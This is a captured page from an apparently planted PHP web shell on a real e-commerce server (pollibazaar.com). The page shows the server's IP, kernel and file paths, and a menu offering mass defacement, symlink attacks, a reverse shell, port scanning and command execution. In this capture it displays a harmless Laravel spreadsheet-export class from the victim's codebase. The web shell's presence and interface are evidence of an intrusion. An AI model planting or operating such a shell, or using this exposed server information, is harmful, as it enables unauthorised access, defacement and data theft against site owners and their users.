ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
app
/
Exports
/
Viewing: OrderReportExport.php
<?php namespace App\Exports; use Illuminate\Contracts\View\View; use Maatwebsite\Excel\Concerns\Exportable; use Maatwebsite\Excel\Concerns\FromView; use Maatwebsite\Excel\Events\AfterSheet; use Maatwebsite\Excel\Concerns\WithEvents; use Maatwebsite\Excel\Concerns\WithStyles; use Maatwebsite\Excel\Concerns\WithHeadings; use Maatwebsite\Excel\Concerns\ShouldAutoSize; use Maatwebsite\Excel\Concerns\WithColumnWidths; use PhpOffice\PhpSpreadsheet\Worksheet\Drawing; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use PhpOffice\PhpSpreadsheet\Style\Border; use PhpOffice\PhpSpreadsheet\Style\Alignment; class OrderReportExport implements FromView, ShouldAutoSize, WithStyles, WithColumnWidths, WithHeadings, WithEvents { use Exportable; protected $data; public function __construct($data) { $this->data = $data; } public function view(): View { return view('file-exports.order-report-export', [ 'data' => $this->data, ]); } public function columnWidths(): array { return [ 'A' => 15, 'B' => 30, 'C' => 40, ]; } public function styles(Worksheet $sheet) { $sheet->getStyle('A1:A2')->getFont()->setBold(true); $sheet->getStyle('A3:K3')->getFont()->setBold(true)->getColor() ->setARGB('FFFFFF'); $sheet->getStyle('A3:K3')->getFill()->applyFromArray([ 'fillType' => 'solid', 'rotation' => 0, 'color' => ['rgb' => '063C93'], ]); $sheet->getStyle('K4:K' . ($this->data['orders']->count() + 3))->getFill()->applyFromArray([ 'fillType' => 'solid', 'rotation' => 0, 'color' => ['rgb' => 'FFF9D1'], ]); $sheet->setShowGridlines(false); return [ // Define the style for cells with data 'A1:K' . ($this->data['orders']->count() + 3) => [ 'borders' => [ 'allBorders' => [ 'borderStyle' => Border::BORDER_THIN, 'color' => ['argb' => '000000'], // Specify the color of the border (optional) ], ], ], ]; } public function registerEvents(): array { return [ AfterSheet::class => function (AfterSheet $event) { $event->sheet->getStyle('A1:K1') // Adjust the range as per your needs ->getAlignment() ->setHorizontal(Alignment::HORIZONTAL_CENTER) ->setVertical(Alignment::VERTICAL_CENTER); $event->sheet->getStyle('A3:K' . ($this->data['orders']->count() + 3)) // Adjust the range as per your needs ->getAlignment() ->setHorizontal(Alignment::HORIZONTAL_CENTER) ->setVertical(Alignment::VERTICAL_CENTER); $event->sheet->getStyle('A2:K2') // Adjust the range as per your needs ->getAlignment() ->setHorizontal(Alignment::HORIZONTAL_LEFT) ->setVertical(Alignment::VERTICAL_CENTER); $event->sheet->mergeCells('A1:K1'); $event->sheet->mergeCells('A2:B2'); $event->sheet->mergeCells('C2:K2'); $event->sheet->getRowDimension(2)->setRowHeight(80); $event->sheet->getDefaultRowDimension()->setRowHeight(30); }, ]; } public function headings(): array { return [ '1' ]; } }
Coded With 💗 by
0x6ick